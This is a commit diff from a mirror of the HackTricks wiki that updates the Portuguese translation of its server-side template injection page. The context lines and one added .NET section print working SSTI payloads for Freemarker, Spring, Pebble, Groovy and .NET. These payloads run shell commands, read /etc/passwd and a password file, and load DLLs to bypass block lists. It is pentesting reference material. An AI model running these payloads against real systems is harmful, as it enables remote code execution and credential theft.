mirror of
				https://github.com/HackTricks-wiki/hacktricks.git
				synced 2025-10-10 18:36:50 +00:00 
			
		
		
		
	Translated ['src/pentesting-web/ssti-server-side-template-injection/READ
This commit is contained in:
		
							parent
							
								
									2c964a1cf5
								
							
						
					
					
						commit
						fdda2bebdf
					
				@ -25,7 +25,7 @@ Para prevenir vulnerabilidades de injeção de template do lado do servidor, os
 | 
			
		||||
Para detectar Injeção de Template do Lado do Servidor (SSTI), inicialmente, **fuzzing do template** é uma abordagem simples. Isso envolve injetar uma sequência de caracteres especiais (**`${{<%[%'"}}%\`**) no template e analisar as diferenças na resposta do servidor a dados regulares versus este payload especial. Indicadores de vulnerabilidade incluem:
 | 
			
		||||
 | 
			
		||||
- Erros lançados, revelando a vulnerabilidade e potencialmente o mecanismo de template.
 | 
			
		||||
- Ausência do payload na reflexão, ou partes dele faltando, implicando que o servidor o processa de forma diferente de dados regulares.
 | 
			
		||||
- Ausência do payload na reflexão, ou partes dele faltando, implicando que o servidor o processa de forma diferente dos dados regulares.
 | 
			
		||||
- **Contexto de Texto Simples**: Distinguir de XSS verificando se o servidor avalia expressões de template (por exemplo, `{{7*7}}`, `${7*7}`).
 | 
			
		||||
- **Contexto de Código**: Confirmar a vulnerabilidade alterando parâmetros de entrada. Por exemplo, mudando `greeting` em `http://vulnerable-website.com/?greeting=data.username` para ver se a saída do servidor é dinâmica ou fixa, como em `greeting=data.username}}hello` retornando o nome de usuário.
 | 
			
		||||
 | 
			
		||||
@ -43,7 +43,7 @@ Identificar o mecanismo de template envolve analisar mensagens de erro ou testar
 | 
			
		||||
 | 
			
		||||
### [TInjA](https://github.com/Hackmanit/TInjA)
 | 
			
		||||
 | 
			
		||||
um scanner SSTI + CSTI eficiente que utiliza poliglotas inovadores.
 | 
			
		||||
um scanner SSTI + CSTI eficiente que utiliza poliglotas inovadoras.
 | 
			
		||||
```bash
 | 
			
		||||
tinja url -u "http://example.com/?name=Kirlia" -H "Authentication: Bearer ey..."
 | 
			
		||||
tinja url -u "http://example.com/" -d "username=Kirlia"  -c "PHPSESSID=ABC123..."
 | 
			
		||||
@ -110,7 +110,7 @@ ${"freemarker.template.utility.Execute"?new()("id")}
 | 
			
		||||
 | 
			
		||||
${product.getClass().getProtectionDomain().getCodeSource().getLocation().toURI().resolve('/home/carlos/my_password.txt').toURL().openStream().readAllBytes()?join(" ")}
 | 
			
		||||
```
 | 
			
		||||
**Freemarker - Bypass de Sandbox**
 | 
			
		||||
**Freemarker - Bypass de sandbox**
 | 
			
		||||
 | 
			
		||||
⚠️ só funciona em versões do Freemarker abaixo de 2.3.30
 | 
			
		||||
```java
 | 
			
		||||
@ -209,7 +209,7 @@ Múltiplas expressões de variável podem ser usadas, se `${...}` não funcionar
 | 
			
		||||
```java
 | 
			
		||||
${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(99).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(112)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(119)).concat(T(java.lang.Character).toString(100))).getInputStream())}
 | 
			
		||||
```
 | 
			
		||||
- Script Personalizado para geração de payloads
 | 
			
		||||
- Script personalizado para geração de payloads
 | 
			
		||||
```python
 | 
			
		||||
#!/usr/bin/python3
 | 
			
		||||
 | 
			
		||||
@ -261,7 +261,7 @@ Versão antiga do Pebble ( < versão 3.0.9):
 | 
			
		||||
```java
 | 
			
		||||
{{ variable.getClass().forName('java.lang.Runtime').getRuntime().exec('ls -la') }}
 | 
			
		||||
```
 | 
			
		||||
Nova versão do Pebble :
 | 
			
		||||
Nova versão do Pebble:
 | 
			
		||||
```java
 | 
			
		||||
{% raw %}
 | 
			
		||||
{% set cmd = 'id' %}
 | 
			
		||||
@ -372,11 +372,11 @@ Payload: {{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstanc
 | 
			
		||||
- `${{7*7}}` - 49
 | 
			
		||||
- `${{request}}, ${{session}}, {{faceContext}}`
 | 
			
		||||
 | 
			
		||||
Expression Language (EL) é um recurso fundamental que facilita a interação entre a camada de apresentação (como páginas da web) e a lógica da aplicação (como managed beans) no JavaEE. É amplamente utilizado em várias tecnologias JavaEE para simplificar essa comunicação. As principais tecnologias JavaEE que utilizam EL incluem:
 | 
			
		||||
Expression Language (EL) é um recurso fundamental que facilita a interação entre a camada de apresentação (como páginas da web) e a lógica da aplicação (como beans gerenciados) no JavaEE. É amplamente utilizado em várias tecnologias JavaEE para agilizar essa comunicação. As principais tecnologias JavaEE que utilizam EL incluem:
 | 
			
		||||
 | 
			
		||||
- **JavaServer Faces (JSF)**: Emprega EL para vincular componentes nas páginas JSF aos dados e ações correspondentes no backend.
 | 
			
		||||
- **JavaServer Pages (JSP)**: EL é usado em JSP para acessar e manipular dados dentro das páginas JSP, facilitando a conexão dos elementos da página com os dados da aplicação.
 | 
			
		||||
- **Contexts and Dependency Injection for Java EE (CDI)**: EL se integra ao CDI para permitir uma interação contínua entre a camada web e os managed beans, garantindo uma estrutura de aplicação mais coerente.
 | 
			
		||||
- **Contexts and Dependency Injection for Java EE (CDI)**: EL se integra ao CDI para permitir uma interação contínua entre a camada web e os beans gerenciados, garantindo uma estrutura de aplicação mais coerente.
 | 
			
		||||
 | 
			
		||||
Verifique a página a seguir para saber mais sobre a **exploração de interpretadores EL**:
 | 
			
		||||
 | 
			
		||||
@ -386,7 +386,7 @@ el-expression-language.md
 | 
			
		||||
 | 
			
		||||
### Groovy (Java)
 | 
			
		||||
 | 
			
		||||
As seguintes contornadas do Security Manager foram retiradas deste [**writeup**](https://security.humanativaspa.it/groovy-template-engine-exploitation-notes-from-a-real-case-scenario/).
 | 
			
		||||
As seguintes contornas do Security Manager foram retiradas deste [**writeup**](https://security.humanativaspa.it/groovy-template-engine-exploitation-notes-from-a-real-case-scenario/).
 | 
			
		||||
```java
 | 
			
		||||
//Basic Payload
 | 
			
		||||
import groovy.*;
 | 
			
		||||
@ -611,7 +611,7 @@ echo $t->finish($t->parse('OUT', 'authors'));
 | 
			
		||||
 | 
			
		||||
### patTemplate (PHP)
 | 
			
		||||
 | 
			
		||||
> [patTemplate](https://github.com/wernerwa/pat-template) é um mecanismo de template PHP não compilável, que usa tags XML para dividir um documento em diferentes partes
 | 
			
		||||
> [patTemplate](https://github.com/wernerwa/pat-template) motor de template PHP não compilável, que usa tags XML para dividir um documento em diferentes partes
 | 
			
		||||
```xml
 | 
			
		||||
<patTemplate:tmpl name="page">
 | 
			
		||||
This is the main page.
 | 
			
		||||
@ -814,7 +814,7 @@ Confira a página a seguir para aprender truques sobre **bypass de execução de
 | 
			
		||||
 | 
			
		||||
[Site oficial](http://jinja.pocoo.org)
 | 
			
		||||
 | 
			
		||||
> Jinja2 é um mecanismo de template completo para Python. Ele possui suporte total a unicode, um ambiente de execução sandboxed integrado opcional, amplamente utilizado e licenciado sob BSD.
 | 
			
		||||
> Jinja2 é um mecanismo de template completo para Python. Ele tem suporte total a unicode, um ambiente de execução sandboxed integrado opcional, amplamente utilizado e licenciado sob BSD.
 | 
			
		||||
 | 
			
		||||
- `{{7*7}} = Erro`
 | 
			
		||||
- `${7*7} = ${7*7}`
 | 
			
		||||
@ -928,6 +928,23 @@ O método .NET `System.Diagnostics.Process.Start` pode ser usado para iniciar qu
 | 
			
		||||
 | 
			
		||||
- [https://www.w3schools.com/asp/asp_examples.asp](https://www.w3schools.com/asp/asp_examples.asp)
 | 
			
		||||
 | 
			
		||||
### .Net Contornando restrições
 | 
			
		||||
 | 
			
		||||
Os mecanismos de Reflexão do .NET podem ser usados para contornar listas negras ou classes que não estão presentes no assembly. DLLs podem ser carregadas em tempo de execução com métodos e propriedades acessíveis a partir de objetos básicos.
 | 
			
		||||
 | 
			
		||||
Dlls podem ser carregadas com:
 | 
			
		||||
 | 
			
		||||
- `{"a".GetType().Assembly.GetType("System.Reflection.Assembly").GetMethod("LoadFile").Invoke(null, "/path/to/System.Diagnostics.Process.dll".Split("?"))}` - do sistema de arquivos.
 | 
			
		||||
- `{"a".GetType().Assembly.GetType("System.Reflection.Assembly").GetMethod("Load", [typeof(byte[])]).Invoke(null, [Convert.FromBase64String("Base64EncodedDll")])}` - diretamente da requisição.
 | 
			
		||||
 | 
			
		||||
Execução completa de comando:
 | 
			
		||||
```
 | 
			
		||||
{"a".GetType().Assembly.GetType("System.Reflection.Assembly").GetMethod("LoadFile").Invoke(null, "/path/to/System.Diagnostics.Process.dll".Split("?")).GetType("System.Diagnostics.Process").GetMethods().GetValue(0).Invoke(null, "/bin/bash,-c ""whoami""".Split(","))}
 | 
			
		||||
```
 | 
			
		||||
**Mais Informações**
 | 
			
		||||
 | 
			
		||||
- [https://efigo.pl/en/blog/cve-2024-9150/](https://efigo.pl/en/blog/cve-2024-9150/)
 | 
			
		||||
 | 
			
		||||
### Mojolicious (Perl)
 | 
			
		||||
 | 
			
		||||
Mesmo sendo Perl, ele usa tags como ERB em Ruby.
 | 
			
		||||
 | 
			
		||||
		Loading…
	
	
			
			x
			
			
		
	
		Reference in New Issue
	
	Block a user